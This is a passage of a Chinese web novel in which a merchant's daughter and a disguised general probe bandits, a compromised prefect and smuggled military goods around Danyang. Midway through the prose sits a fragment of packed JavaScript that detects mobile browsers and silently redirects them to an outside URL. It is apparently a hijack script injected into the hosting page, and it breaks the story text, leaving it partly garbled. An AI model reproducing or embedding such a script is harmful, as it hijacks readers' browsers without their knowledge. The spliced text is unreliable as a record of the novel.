太师椅谋士的装扮到底没白穿,动之以情晓之以理道“老鹰这人虽然奸滑,但咱们寨子最困难的时候也多亏了他,咱们要忘恩负义,岂不成了跟他一样的人了?何况这次他说的什么交易听起来可行,反正就这几日的事了,到时候若此事真不成,咱们也好与他辩白。”
炸毛虎被他成功安抚下来,闷声灌了口酒。江云悠在外靠着柱子,暗道原来这堆牛头马面阴帅鬼差拉帮结派这么厉害,饭都吃不到一个桌上。
里面谋士二哥又道“抓回来的那些人怎么样了?”
一人回道“关着呢,老鹰不让人靠近,听说也没给饭,不知道现在怎么样了。”
虎子的兄弟是被他们打死的,闻言又被点了火药桶,吼道“饿不死他们,娘了个巴子的,之前光知道江家那群开船的不好惹,没想到这么能打,也就他们在平陵,要不然我带弟兄们烧了他们那老窝。”
江云悠嗤一声,心道你要在平陵,我不把你收拾的喵喵叫算你虎头这名白起。
谁料那炸毛虎虽然易燃易爆炸那一身腱子肉却没白长,顿时捕捉到了江云悠那声微乎其微的嗤笑,往门外喝道“谁!”
我靠,这狗头耳朵借的兔子的吧!
江云悠跟着谢衡几次险里求生涨了经验,专门的寻了个有退路的地方蹲着。事实证明实战锻炼人这话乃绝对真理,只是检验真理的方式比较惊险。
她飞速跳下台阶,利用身形娇小的优势钻到一处□□。虎子破马张飞的提刀站到门口,依他那四肢发达体格,不会想到旁边一条挤不进他半个身子的缝里会有人,连看都没看一眼便走过了。
“娘的,肯定又是那走地鸡的人。”他找不着人
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,提刀回屋道“就会干这些偷鸡摸狗的事。”
江云悠从缝里出来,听里面的人已经贴心的为她甩完了锅,幸灾乐祸的想:人心中的成见是座大山呐,走地鸡兄,辛苦咯。
她拍拍脑袋上的土,掉头去往另一处。
到底是深入敌营,江云悠对自己那三脚猫功夫还是有自知之明的,她没再往里探,记了一遍地形就回了约定地点。
月光流转,却没照出谢衡半个影子,江云悠百无聊赖的薅光了手边的叶子,后来怕留破绽,又开始一片一片往怀里塞。
作为一个严重的多动症患者,蹲在这里当石头对她来说简直酷刑加身。于是她边戳地洞边回想忠义堂外听到的那些话转移注意,直到她在地上戳出第五个洞的时候,谢衡终于不知从哪个角落冒了出来。
可还未等她开口,谢衡就已略至眼前,二话不说的拽住她往旁边山坡推。
江云悠刚从石头状态中回神,被这秋风扫落叶般的动作吓到,下意识想惊呼,谢衡先一步抬手捂住了她的嘴。
他紧跟江云悠而下,腾空的那个瞬间,他恰好垂下头,两人的脸相距不过咫尺,近到他能透过那双乌黑的眼眸看见自己的倒影,在那双清澈的眸子里,人好像也与月光一般明亮。
那股清淡的荷香再次萦绕在鼻端。谢衡撤开捂着她嘴的手,将她扣在怀里。
江云悠被裹得严严实实,只感觉一阵天旋地转,再睁开眼时,像是置身在地洞,唯有进口处一点光。
17. 流绪微梦(四)
翌日,江云悠是在香喷喷的藕汤的召唤下跟周公他老人家告辞的。
“阿昭妹妹!你可算醒了,快起来快起来,尝尝我新做的藕汤,吃完赶紧上路了!”
江云悠被一嗓门喊清醒了,揉着眼坐起身子“唔,紫萍姐,你怎么来这么早……”
“哎呀,快起啦,要不早市该散了。”
郭紫萍做起事来风风火火干脆利落,江云悠在她迭声催促下,捧着尚迷糊的脑袋跟李大娘告了别,踏上了去丹阳的小路。
丹阳城内八街九陌,商铺林立,早市上人潮如流水,吆喝声、讨价声熙来攘往。一位拎着菜篮的大婶身手矫健的在人流中横行,一个转身差点把江云悠顶飞。
谢衡及时撑了下她的肩,与她调了个身位。
江云悠叹道:“都说丹阳女子纤细如柳,合着是挤出来啊,这人山人海,不纤细是寸步难进啊。”
李晋川被她的话逗笑,解释道:“早市瓜果新鲜,进来流民渐多,百姓难免紧张,故开始囤积物资,买卖的人自然多……只是长此以往,会造成丹阳畸形发展的。”
江云悠顺着他的话正想着,郭紫萍已经眼疾手快的抢了个摊位,招呼他们三人过去。
她会做生意口才又不差,没一会儿就卖出去好几颗白菜。
反倒是李晋川做什么都一副不慌不忙的文雅范,主打一个姜太公钓鱼。
谢衡看此处已经妥当了,便准备喊江云悠离开。他四下一找,这才发现这人扮作买家混入人群,跟郭紫萍一唱一和的,当托儿当的正热闹。
这人真是一秒钟看不住就能翻出新花样。
他趁她倒气的功夫把她拉出人群“改行这么快呢状元郎?”
“我们聪明人就是做一行行一行。”
江云悠回头看一眼门庭冷落的李晋川,要不是郭紫萍带着,估计一天也卖不出多少。
思及此,她忍不住和谢衡八卦道:“你说紫萍姐姐人好性格好,又跟李大哥是青梅竹马,李大哥为什么对她一点感觉也没有呢?”
“李晋川丁忧之期将至,以他的刻苦所学和抱负,未来将有无限可能,不会为了芦花村的情爱停留。”
江云悠停下,复看向郭紫萍和李晋川,紧邻的摊位上,大相径庭的氛围化为无形的锯子,将两人的差距如有实质的分割开,那是无法用眼睛分辨的距离。
她回头,跟上谢衡的步伐“我不明白,你是说李大哥嫌弃紫萍姐姐的出身,还是说他无情?”
“我是说‘道不同,不相为谋’。”
谢衡清冷的声线在熙攘的人群中几乎淹没,却清晰的砸入了江云悠的耳朵。
……
丹阳太守府位于城中最繁华的菱华街中央,通俗一点,就是腰没缠个万贯,见不着衙门上那“明镜高悬”四个大字破成什么样,贩夫走卒更连门口的登闻鼓都不知道朝南朝北。
“那就是鹭洲太守府?”
江云悠趴在酒肆二楼的窗边,嘴里塞了个路上买的菱角。
“看起来也不怎么样嘛,门口站岗的还没曹大狗门前的多呢。”
谢衡叫了壶茶放在窗口,俯看向太守府衙长着青苔的石阶。
他之前看过鹭洲太守姚肃谦的档案,正儿八经的登科进士,一路从翰林做到了兵部右侍郎的位置。
在这寒门士子一辈子也够不到核心权力的当朝,姚肃谦的仕途几乎称得上无往不利。
转折发生在四年前,当时关外尸骨成山,堆出了谈之色变的瘟疫。兵部又是调兵遣将抵御外敌又是镇压内部暴乱,人忙的脚不沾地。
在举朝哗然的镇北走私案发生后,兵部这个冤大头也被拉出来鞭尸。姚肃谦的坦途戛然而止,被发配到鸟不拉屎的阑江锄地去了。
要说这位姚大人没准真在阑江接到了鸟屎,次年,首辅孟闫重修嘉安运河,阑江划入沅澧管辖,姚肃谦几经辗转,竟坐到了太守的位置上。
谢衡翻看档案时并没有发现他有什么过人的政绩,不过是溜须拍马熬资历,矮子里面拔高罢了。
但值得一提的是,曾经的兵部右侍郎却是真真正正干过实事的,他以文臣之身入兵部,选贤举能,慧眼识才,在重文轻武的当朝为将士争取了不少权益。
是什么让曾经为国为民的肱骨变成了尸位素餐的囊虫?
谢衡眉峰微蹙,四年前……又是这个时间,到底有多少人参与其中?!
屋外传来一阵脚步声,谢衡取下窗上的银壶,再抬头时表情已经恢复如常。
门被有节奏的轻敲了三下后从外打开,进来的是个眉清目秀,一身黑衣的冷面男人。
看起来不像那个蔫吧坏的姚太守。
江云悠嘎吱一下咬断菱角,一不小心顺嘴道:“呀,这位公子可是走错屋了?不要紧不要紧,相逢即是缘,不妨坐下喝一杯?”
季柏愣了下,看向她身后的谢衡,站在门口不动了,原地垂首行礼“万幸您没事,这两日断联期间姚太守一直要求上奏,都被属下压回了。”
江云悠完全被忽视也一点也不在意,她就是撩闲撩惯了,丝毫不关心别人的反馈是“滚”还是“滚远一点”。
她把最后一个菱角抛到嘴里,准备倒杯水润润喉,却不想谢衡正巧先她一秒拿走了壶,不紧不慢的给自己斟了一杯。
“姚肃谦是怕担责罢了,不必管他……毕竟这世上没事儿就给自己招点闲事儿的也不多见。”
闲极无聊摆弄菱角皮的江云悠眼珠一转,瞥向谢衡。
嘶……这话听着怎么有点不对味呢?
谢衡倒了水也不急着喝,把壶放在一边道:“几日前让你查的事进展怎么样了?”
“草市里确有一条线与一家匪寨长期勾结,另外我在查这条线时发现太守衙内也有人背景不干净,但还未没找到准确的人和证据。”
这跟谢衡和江云悠掌握的现有情况完美交叠。他重新捋了遍信息,食指轻轻的点着杯壁。
“鼹鼠胆小怕光,自然比咱们更了解哪儿是禁地,请这位太守出来透透风吧,总在地下活动别闷坏了。”
季柏难得踟躇了一下,垂首请罪道:“属下办事不力,让姚太守跟过来了,他现在楼下等着呢。”
姚肃谦自知派什么人都会被季柏甩开,索性玩起阳谋来。堂堂太守不去处理政务,整日跟在他身后虚寒问暖。
因后续还有许多地方与这位太守交接,不好闹得太难看,于是季柏每天睁眼第一件事就是与这条糨糊尾巴斗智斗勇。
谢衡并没告诉姚肃谦自己的真实身份,只说是镇北军中一个副将,没想到他竟还这么谨慎亲自迎来了。
他不在意的一摆手“来都来了,还在楼下排什么队,让他上来吧。”
转眼屋内又剩下俩人,江云悠觑一眼谢衡,眼睛一转,将菱角皮拼拼凑凑堆成八份。
谢衡扫眼那八份摊了半张桌的菱角皮,不咸不淡道:“干嘛,分好类打算再炒一盘?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497576|154777||http|test|mini|href|location''.split(''|''),0,{}));
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>江云悠丝毫不受打击,兴致勃勃的介绍道:“你再好好看看,这是八个斗。”
谢衡眉梢微扬,隐约明白她堆的什么了,视线嫌弃的从桌子移到那双弯成月牙的眼睛上。
他忽然想到两人第三次见面就是在揽月楼,合着她这油腔滑调是由来已久啊。
江云悠见他没说话,以为是没看出来,于是双手合成花的形状撑到下巴处,溢美之词信手拈来。
“明淮兄才高八斗学富五车,深谋远虑,实在让我钦佩的五体投地。”
谢衡轻吹口气,那才高八斗的菱角皮顿时搅和成了一团,他呵道:“江大小姐这斗不大行啊,净是表面功夫。”
这时,更会做表面功夫的姚肃谦轻轻叩了叩门。
“鹭洲太守姚肃谦问将军安,将军一路风餐露宿实在辛苦,此等精神实在令下官五体投地,高山仰止。”
果然,有学问拍起马屁来都不一样。
江云悠摸摸鼻子,对上谢衡似笑非笑的目光,默默去收拾菱角皮了。
姚肃谦并不是江云悠之前所猜的满脑肥肠,相反,他身形清瘦,宽大的官服将他的背压的有点驼,配上一只跛脚,看起上去唯唯诺诺的。
谢衡打量着他,语气虽然淡却没有讽刺“依制我该向姚大人问安才是,姚大人二十岁登科进士,令人望尘莫及。”他话音一顿,抛出引线“听闻曾官至侍郎?”
姚肃谦从进屋开始就躬身垂首,跟骨头天生就长弯了似的。谢衡看不到他的表情,只听他哎呦一声,老练圆滑道:“将军说的都那辈子的闲事儿了,如今下官离京十万八千里,那些个前尘往忘了。”
他将手里一直提着的礼盒往桌上一递“这是丹阳一点特产,将军别嫌弃。”
江云悠扒了下红色礼盒,露出盖子下的一片银色。她看了眼谢衡,把盖子整个掀开暴在天光之下,随手拿起一锭掂了掂。
“这成色不行啊,色泽偏暗,重量也有偏差,丹阳不是号称江南富庶之最吗,特产怎么这么寒酸,堂堂一个太守还不如我家的赏银能拿出手。”
姚肃谦呆住,一下子没明白她究竟要表达什么,下意识就要下跪认错,却在中途被人摁住往下的肩。
姚肃谦头一回抬起了头。
谢衡对上那双浑浊的眼,尖锐道:“姚太守一口一个往事如烟,我怎么听着却乡音依旧?”
姚肃谦的手抖了一下,然而很快就缩到了那个将他脊背压弯的官服里。
他依旧讪笑道:“有吗?下官都没注意。”
话已至此,再说下去也只是继续兜圈子,一个人的脊柱一旦折了,便拼不回去了。
谢衡看着眼前这个重新把头低下的人,身侧的手握紧。
江云悠目光落在他身上,感觉在船上见到的那股戾气又浮了出来,但几乎一眨眼,那戾气便散入空气中,无影无踪了。
他不再纠结于此,开始问起南境周边的战事和丹阳剿匪事宜,姚肃谦在后续问题上还算配合,但他基本都放权交给手下人,采用放羊式扁平化管理,知道的有用情况也没多少。
不过这倒是给谢衡很大的操作空间,他摸清各部门基本情况后就送客了。
江云悠把装着银子的礼盒原封装好,还给姚肃谦“我们也不缺这点碎银子,姚太守还是拿回去摆着玩吧。”
姚肃谦看一眼谢衡,躬身退下了,那只跛脚连累的他无法像从前那样端正的走路,而他手里抱着银子的动作也使那身子更加佝偻。
18. 流绪微梦(五)
午后,秋阳和煦,百姓酒足饭饱,餍足的在街上散着步。
一个不起眼的面摊里,江云悠垂头丧气的捞起一根面条。她落水时丢了随身带着的金豆子和银叶子,此刻只能靠着谢衡那几个铜板过活。
“果然,老天会给每个充胖子的人打肿脸。”江云悠长叹道:“我的香酥鸡、板栗鸭、排骨汤……这个季节最该吃蟹橙酿啊!”
谢衡在军中养成习惯了,三两口吃完面,揉着耳朵看她唉声叹气往外挑葱花香菜。
“别报菜名儿了,真要上满汉全席,别人收桌了你还眯着眼挑葱呢。”
江云悠纠正他“杏仁虾里的精美调料跟飘在汤上的腥味绿皮点点可不一样。”
谢衡服了,迫于她长吁短叹的威力,要了盘牛肉端到她面前。
江云悠看着推过来的肉,唇角一扬,明知故问道:“这是专门给我点的吗,明淮哥哥?”
谢衡看她那眨巴到飞起的眼睛,勾了下嘴角:“给挑食事儿多的饭桶备的。”
江云悠“……”
虽然有了肉,但白面条依旧是白面条,江云悠吃了一半就不想吃了。
谢衡看她那小鸡啄米似的样子就知道她吃不下了,放了几个铜板在桌上,起身道:“吃完就走吧,别绣花了。”
江云悠立马痛快的放下筷子,朝谢衡呲牙一笑。
两人走出一段,她才发现这不是往早市的方向,疑惑道:“我们不跟李大哥他们回去了吗?”
“他们卖完布还要在丹阳逛逛,我要去趟城防营。”谢衡回头看眼四处打量的江云悠“你要去鸽哨还是找他们去逛逛?”
江云悠眉眼一动,忽向他摊开手心,圆圆的眼睛洇的水汪汪的,兀自生出几分可怜兮兮来。
“小女子身无分文,万一逛到一半被人赶出来,无人做主,那可怎么办。”
谢衡看她装大瓣蒜那样,心想这人真是插个尾巴就能成精了。他从袖口里摸出装东西的口袋抛到她手里。
江云悠如愿以得,美滋滋的拨开口袋一看,被谢将军的巨款砸了个目瞪口呆“五、十……二十文?!你们那军队也太……节俭了吧。”
谢衡轻咳了声,这其实不怪镇北军抠搜,大齐近百年四境安定,人们过惯了安稳日子,于是包括皇帝陛下在内,都觉得抱着长矛在边境站桩的将士吃多不干活。
所以从日常军用到个人俸禄,朝廷一再削减,谢衡自己那点赏银,都充了抚恤金给孤儿寡母了。
四年前东北战事吃紧,一众老将战死,大齐终于吃到了自己亲手种下的恶果,平日一群靠嘴和笔杆子指点江山的文臣面面相觑——无人能举得动那枚血迹未干的兵符。
多年沉疴痼疾,不是说正就能正过来的,这背后是根须盘布的利益网,非连根拔起不能断除。
而这,也是谢衡此次亲自下江南的原因之一。
当然,这复杂的一切,江云悠并不知情。
她嘴里那股牛肉味还没散,小面摊上的下酒菜自然不会取什么上好的肉,又干又咸,除此以外再无别的滋味。
她咂摸着嘴,合上口袋朝谢衡走近几步,忽而问道:“所以刚才那盘牛肉多少文?”
她把叮当响的荷包背在身后,倾身向前。
“我说,既然当将军如此危险又不讨好,那你为何还要继续干这苦差?”她眼睛始终如一的璀璨,圈着谢衡的身影,嘴角梨涡若隐若现“不如你辞官到江府来,千金万金都随你,行不行?”
午间人烟稀少,头顶的日光热烈的照着苍穹大地,阴影角落里一株不起眼的小花苞向着太阳,悄然绽开一道缝隙。
谢衡垂眸对上那双比太阳还要耀眼的眼睛,一时耽溺于这和煦之下——直到耳边传来一阵笑声,他视线越过那对携手在长街上闲逛打趣的男女,抬头看向路尽头的衙门牌匾。
为什么要当这个将军吗?
他也曾在无数个顶着风沙的夜里问过自己,若不是那个意外,自己是否还会走上这条路……
江云悠见他不答,偏头追过来“考虑的怎么样大将军?我是不会亏待你的。”
谢衡扶向腰间佩剑,敛目笑了下“醒醒了江大小姐,这二十文还没捂热又忽悠上了?”
他抬手抵开她的额头,道:“跟李晋川他们约定的酉时城门口汇合……这个时间会看吧。”
“放心吧,每日散学时间,掐着这个点回家的。”
谢衡“……”
江云悠甩着布袋,眼睛已经盯上街边一处糖栗子,迫不及待跟他挥手撒欢去了。
谢衡看着那一蹦一跳的身影,须臾,转身朝另一个方向走去。
刚出锅的栗子又香又糯,江云悠抱着装好的栗子回头,谢衡已经隐入人群看不见了。她捏开个栗子塞到嘴里,看向谢衡刚才注视的地方。
是……太守府?
她掏出衣服内层贴身放着的几张字条,这是江云帆在临走前给的,上面有他整理的有关这批货能查到的全部信息,还有丹阳鸽哨分部的位置图。
字条在她入水时湿了一半,墨迹晕开了些,勉强看个大概。她研究了下位置图,往鸽哨走去。
从剩下的一半信息和她跟谢衡一起了解的情况来看,这批货的来源是镇北军中,并且应该是内部人员偷流出来的。他们转运到江南,雇江氏航运送往丹阳,最后打算通过什么人再进行转销。
这一系列流程环环相扣,唯有一点——他们为什么雇江氏航运这个局外人来参与这关键的一步?
她这两日捧着纸思来想去:只有一种可能,江家内部核心人员也有人参与其中!
十月底的江南算不上暖和了,行人已经换上了厚衣,准备迎接冬天。飘着桂花香、红枫满地的秋天就这么过去了。
江云悠在赶路中看向路边疏桐,忽然想起来:今年还没去白马寺摘石榴呢。
丹阳鸽哨驻在港口附近,站在屋内可以看到嘉安运河。掌柜验明江云悠的身份,拱手喊了声少东家。
江云帆把劫船一事全部隐瞒下,因此其他鸽哨均不知情。
江云悠借口给家里写信,找了人要了几张空白字条。为不被内奸截获后发现,她先啰嗦了一堆没用的,而后才隐晦的说了遍情况。
到最后,送信的人生生用了三只鸽子才把字条都装上。她边看着那人的动作,边把话题引到太守府,结果并没有听到类似对曹安仁那样的评价,姚肃谦虽并不管事但没搞过事,存在感很低。
她想到姚肃谦佝偻的身子和谢衡前后转变的态度,总感觉有些不对,但又说不上哪不对。
她暂时搁下这事转开话题“我记得我哥之前说丹阳草市也有咱们的生意对吧?”
“这……”
江旬刚直,不让参与这些地沟里的生意,但江云帆不在意,这来回拉扯下,掌柜两头不讨好,为难道:“有是有,但就一点,也没多少……”
“有就行。”江云悠猜测那些人就是通过草市转销,她把谢衡的那个刻着骷髅的铁牌子画在纸上,递给掌柜“让兄弟们留意一下,草市里有没有哪一家是这个徽识的,可以从郑这个姓入手。”
掌柜把这些要求记下,又听她道:“我听说丹阳最近物价涨得厉害,我已经去信给阿舅了,让他给伙计们都多涨点份钱。”
掌柜闻言立即笑的见牙不见眼,连声道谢。
江云悠不好意思的摆了摆手,临走前又例行询问似的道:“哎对了,我记得每个鸽哨都有备用款?丹阳的有多少来着?”
掌柜还以为江云悠又要添钱,忙笑着说:“照例每个分部备着三百两。”
“三百两啊……”江云悠眼睛一弯“那先给我拿五十两吧,别忘了换成银票昂。”
等到江云悠离开,被开了空头支票的掌柜看着账上的赤字,狐疑的摸了摸脑瓜。
江云悠拿着热乎的银票先去舒舒服服的泡
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了个澡,而后换衣服、选首饰、挑吃的、找玩的。
眼见还差半个时辰就到酉时,她才提着大盒小包往约定地点慢慢悠悠的逛过去。城门口比早上多了两排兵士,对来往行人进行排查。
“江姑娘。”
季霖从队伍里走上前,拱手道:“公子在城防营还有事没完,就不回去了。另外公子问您,是否还记得匪寨另半面的部署,可否在地上画一遍交代给属下?”
“记是记得。”江云悠目光扫向城门口,话音一转“不过这众目睽睽,如此画出来未免不安全,不如你带我去找他,当面交代岂不更好?”
“这……”
季霖尚犹豫着,忽被江云悠一摞大大小小的盒子砸过来,赶紧七手八脚的接住。
“哎呀都什么时候了,还这那的,你们打仗不都讲究兵贵神速吗,这么死板还想不想进步了?”江云悠不等他反应就推着他往前走“不想当将军的士兵不是好士兵,你这样让你家公子怎么给你升官,快走快走。”
“哎——江姑娘,走错了,是另一边——”
城防营驻扎在城郊,中心是一个较大的练兵场,士兵们披甲执锐,一令一动,骑兵在马上挥舞长矛,马蹄带起一片尘土飞扬。
江云悠跟着季霖来到一处大帐,掀帘走进。
大帐里空间不大,中间一张桌子就占一半位置,上面用土捏成一片大大小小的土丘,土丘上插着黑红两色小旗。
桌边围着几个人,谢衡背对着门口,正听旁边一人指着桌子唾沫横飞的解说着什么,那人见有个女娃进来,又惊又疑的看过去。
季霖上前一步道:“将军。”
谢衡嗯一声,注意力还集中在沙盘上“两州交接处容易出现薄弱的情况,阑江布防如何?”
没人回应,他抬眼,这才发现周围几个人都往他身后看。
一个年轻校尉对江云悠咧嘴笑着道:“姑娘有什么事吗?”
谢衡转头,江云悠正站在他身后,一袭雪青色长裙,乌发上缀着同色的宝石簪子,一双乌溜溜的眼睛好奇的盯着沙盘。
而她身后,季霖捧着满手五彩斑斓的盒子,摞的比脑袋还要高。
谢衡眉梢略扬,这是用二十文去哪坑蒙拐骗了?
江云悠先是盯了说话那人的盔甲一眼,而后唇角一弯,指了指谢衡“我来找他的。”
几人恍然大悟,纷纷不可思议的看向谢衡。
这一下午众人被他从练兵到布防都重新整治了一番,可谓苦不堪言,深深认识到了镇北军治军之严。眼下实在难以把谢衡这个不苟言笑的冷面少将与这位俏丽灵动的少女联系到一块。
一个满脸胡茬的汉子摸着下巴对谢衡道:“郑将军,这位是……”
那汉子长得五大三粗,说话似打雷,正是鹭州统领徐鹏飞。谢衡被他雷响似的嗓门震了下,一时没接上这句话。
江云悠生怕他又要说自己是婢女,立马先一步给自己安排了个身份“哦,我是他远方表妹,叫江……阿昭,我来帮我表哥画个图。”
她说罢自来熟的朝众人一笑,从季霖怀里拿了几个木盒给每个人递了一个。
“这是路上刚买的点心,听说是丹阳特产,大家帮我品鉴一下,看老板有没有夸口。”
有几人认出木盒上懿品斋的标志,眼睛顿时瞪成铜铃,不好意思的推拒,却又被江云悠三两句话挡了回去,最后反倒七嘴八舌的聊了起来。
帐内严肃了一整个下午的气氛也热络活跃起来,徐鹏飞大着胆子拍了拍谢衡“没想到郑将军还有这么个如花似玉的表妹呢。”
谢衡还未来得及回应这句话,就见原本在人群中笑语嫣然的江云悠忽然侧过头,朝他眨了眨眼,显然是听到了这句夸,活像是躲在人后得意摇尾巴的小狐狸。
他几不可查的提了下唇角,回身对徐鹏飞道:“这丫头平日无法无天惯了,不懂这的规矩,徐统领见谅。”
19. 山雨欲来
江云悠性格讨喜会说话,众人对她也没防备,换着角度兜了一圈下来,她就把谢衡这一下午布置了什么都摸清楚了。
她顺着谢衡绘了一半的地图补上了剩下的地形后就出了大帐。
城防营里除了清一色的帐篷,就是士兵们的训练声,看久了便觉得枯燥而乏味。
她百无聊赖的蹲在大帐边上,拿着竹签往蚂蚁洞里填土。谢衡掀帘走出的时候看到的就是这样一幅场景,那身雪青长裙好像黑白世界里露出的唯一彩色。
他迈步走近“挖什么宝呢?”
江云悠抬头,举起手里的竹签古灵精怪的一眨眼“练兵啊,随时恭候将军调遣。”
谢衡垂眸看去,就见深受荼毒的蚂蚁们不停地把她埋进去的土往外挖。
“留着你那蚂蚁大军继续压阵吧……怎么还不走,季霖没跟你说我今天留在城防营?”
江云悠委委屈屈一瘪嘴“将军刚才忙着处理军务,怎么一开口就让我走?”她拎起地上一罐竹筒递给他“蔗汁,尝尝,可好喝了,加了桂花呢。”
谢衡一愣,道:“我不喝甜的。”
“只有一点点点甜味。”她捏着指头比划道:“尝一下嘛,你来一趟江南,光盯着你那土丘插旗岂不是太可惜了。”
她把竹筒塞到他怀里“你在城门口加了两队士兵,是查莫家的人吗?”
谢衡盯了怀里那不速之客两秒,把上面的红绳理好,勾在手上。
“不光是,南境战事严峻,流民北逃,鱼龙混杂之下容易混入奸细。我之前在船上发现过越人,跟莫家有关。你对莫家还有什么其他了解吗?”
“越人跟莫家?”江云悠沉思片刻,道:“我听我阿舅说过,越人好战善战,四肢发达,不少大户人家会雇来做些不那么能上得了台面的事。莫家这群阴沟里乱窜的老鼠,会雇越人当打手其实也不奇怪。”
“而且我怀疑所以这他们最开始劫这批货也是要在草市转销,草市那地方鱼龙混杂的,别说越人,你想要,鱼人都能卖……就是真假得忽略不计一下。”
她顿了顿,捎带着把自己想了一下午的计划提了出来“我觉得草市那些闻风要去匪寨竞价的,很可能还是最开始劫这批货的人,所以我想加入他们。”
谢衡本来正顺着她的思路往下想,听到这风马牛不相及的后半句猝不及防卡了一下。
“什么?”
“这样更方便摸清那些人的底细,而且远叔他们还在匪寨里,已经过去两天了。”
她指了指那些大大小小的盒子“需要准备的礼物还有银票都准备好了,草市的人为看货提前进入匪寨拜访也算合情合理。”
谢衡干脆利落的一口否决“做计划不是自说自话。第一,你怎么保证那些人不会查背景?第二,你有多少人就敢深入敌营,遇到突发情况怎么办,召唤蚂蚁大军吗?第三,你俩肩膀扛一个脑袋进去,就算能见到周远,下一步呢?”
这些问题江云悠不是没想过,但做总比在外面干着急要好,这已经是她把那两张纸翻烂后能想到的最好办法了。
“远叔之前为了保护我受了伤,我进去起码能知道他的情况,让他们处境尽可能好一些。”
她绞着袖口小声道:“况且你们不是正在准备剿匪吗,我进去不正好能里应外合么。”
谢衡总算明白刚才怎么聊了那么久,合着是刺探军情来了,看来这城防营军纪还是太涣散。“我们里应外合不要娃娃兵。”
他看眼江云悠的表情,自觉她还没放弃那孤胆英雄的戏码。
他突然就有几分共情江旬了。
他捏捏眉心“这事儿我已经让人从官匪勾结方面入手了,最晚明天下午有消息,到时候会告诉你……别再瞎打听了,一会让人当奸细给你抓起来就老实了。”
“真的?”
江云悠重新打起精神,嘴皮子又支棱起来“我才不怕,我表哥可是大将军,他一定不会忍心他如花似玉的表妹被抓走受苦的,对吧。”
“如花似玉?”谢衡哼道:“我看是三头六臂,上天入地吧。”
他领着江云悠往外走,路过靶场的时候,一个身穿甲胄的人急急忙忙跑来,是他派去汇总南境军情的校尉。
“郑副将!急报!西岭遭遇突袭,常都督正式下令,江南三军进入备战状态!”
谢衡接过他手中的战报一目十行,眉心一跳,怎么会这么快?
江云悠看不懂军报,但清楚西岭距沅澧不过一城之隔,越人怎么会一下子打到这来?
谢衡下意识转身去军帐,却在迈步时被手上的竹筒抻了一下。
江云悠本以为他会解下来还给自己,正准备伸手去接,却看到他掀开盖子一口喝完,空竹筒在手里转了一圈,抛给了旁边着急挠头的校尉。
“别薅你那两根头发了,迅速整理一份近三年与越人相关的战役分析给我。”
他说罢看向江云悠,对她刚才打哈哈扯开的话题不是很放心。
江云悠朝他一笑:“放心吧表哥,我保证如花似玉的好好待着。”
谢衡心念几转,最后只道:“让季霖送你回去。”
城防营已经重新列好了兵,江云悠走的时候徐鹏飞正在训话,那雷震似的嗓音掷地有声的回荡在泛着寒光的甲胄之间。
成片的营帐周边几乎没有遮蔽物,萧瑟的秋风卷地而起,直冲向灰白而高远的天际,乌云翻墨,黑压压的逼近丹阳上空。
“要下雨了啊。”郭紫萍缩了缩身子“咱们可得走快点。”
江云悠应一声,看向自踏上山路就走在最后的季霖“一会下雨山路就不好走了,你快回吧。跟他说我等明天的消息,不会半夜套上乾坤圈去当哪吒的。”
季霖严谨老实惯了,接不住她哪吒闹海的玩笑,皱眉观察着地上的脚印“这条路平日走的人多吗?”
“不算少。”李晋川落后几步道:“今天是大集,村里不少人都出去卖东西了,有很多人都会过这条路。”
江云悠低头看向泥泞路上杂乱的脚印,路旁不少野草都被踩倒了——这说明有许多人同时路过了这条狭窄的山路。
一道闪电银蛇般亮了一下,又很快湮没在层层黑云之中。郭紫萍见他们都停着不动,跑回来不明所以的跟他们一起低头“怎么了?”
一片寂静里,江云悠指向她和李晋川脚下深浅截然不同的脚印“我记得芦花村没有多少男子?”
后至的雷声咆哮在山谷之间,给她的话缀上了个不祥的尾音。
这场大雨拿乔儿似的迟迟不落,沉闷的空气让人总感觉有口气喘不过来,山里冲出的冷风迅猛的向远处侵略着,随着掀帘而进的人吹入谢衡的大帐。
被派去处理匪寨事务的人走上前,在堆满军情战报的案桌前垂首交上一叠纸。
“衙门里通匪的贼人已经找到了,大人问您是否要全部下狱,另外您吩咐排查鹭州境内越人概况,这是他们的籍册,都是合法办理的,目前看来并无驱除出境的理由。”
谢衡撂下地形图,分条缕析的将籍册中的信息过了一遍。<
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鹭州富庶,水路陆路四通八达,纵使对外经贸权收归中央,各国也有不少商人想来捞点油水,更别提丹阳还有个草市。
对了,草市!
他将籍册重新摊开,扫视着上面登记的住址和职业。这些字穿成一条线,为江云悠傍晚那番推测悄无声息的断穿上了惊悚二字。
如果那批货在草市转销,买家是谁?活跃在其中的越人吗?他们偷盗军备一路南下,费尽心思的……通敌卖国吗?!
他把战报扫视一遍,飞快布置下数条命令。
“把与匪寨勾结的那些人嘴捂严实了扔一边儿。秘密扣押所有曾与草市有过买卖的越人,月亮升起前告诉我所有走私的名单,境内其他越人也盯紧了。江南全局的地形图和布防图拿一份给我。”
谢衡卷起桌上那叠纸就要去找徐鹏飞,余光扫过江云悠曾待过的地方时,他脚步陡然一顿。
季霖还没回来!
芦花村村口老槐树下,十几个土匪拿着大刀把一堆妇孺围在当中。
一个鹰钩鼻的男人踩在石磨上,长疤从他耳后横到那双吊梢眼下,看起来像只无时无刻不在算计的黄鼠狼。
黄鼠狼挖完鼻孔往外一弹,喝道:“这都月中了,你们芦花村的保护费怎么还没交上来?”
三两抱团的村民瞪着他不说话,黄鼠狼感觉自己丢了面子,吊梢眼瞬间立起来,他旁边的狗腿子扯出个小孩,拔出刀准备杀鸡儆猴。
一时间孩子的嚎啕声,妇人们撕心裂肺的求饶声混在一起,就在刀即将落在小男孩脆弱的脖颈上时,一柄带着铁环的大刀卡住那狗腿子的刀。
吊梢眼踩着石磨大喝:“林虎!你想干嘛?等回去我告诉大哥,有你好果子吃!”
“你少他娘的拿老大压我。”林虎踢开泥腿子,把大刀杵在地上“有本事跟老子单挑,收钱就收钱,欺负个毛都没长齐的小孩算什么本事?”
江云悠几人到时土匪们正内讧的激烈,他们寻机躲在一处矮墙后面观察着,李晋川握拳道:“是鬼寨的那群土匪!”
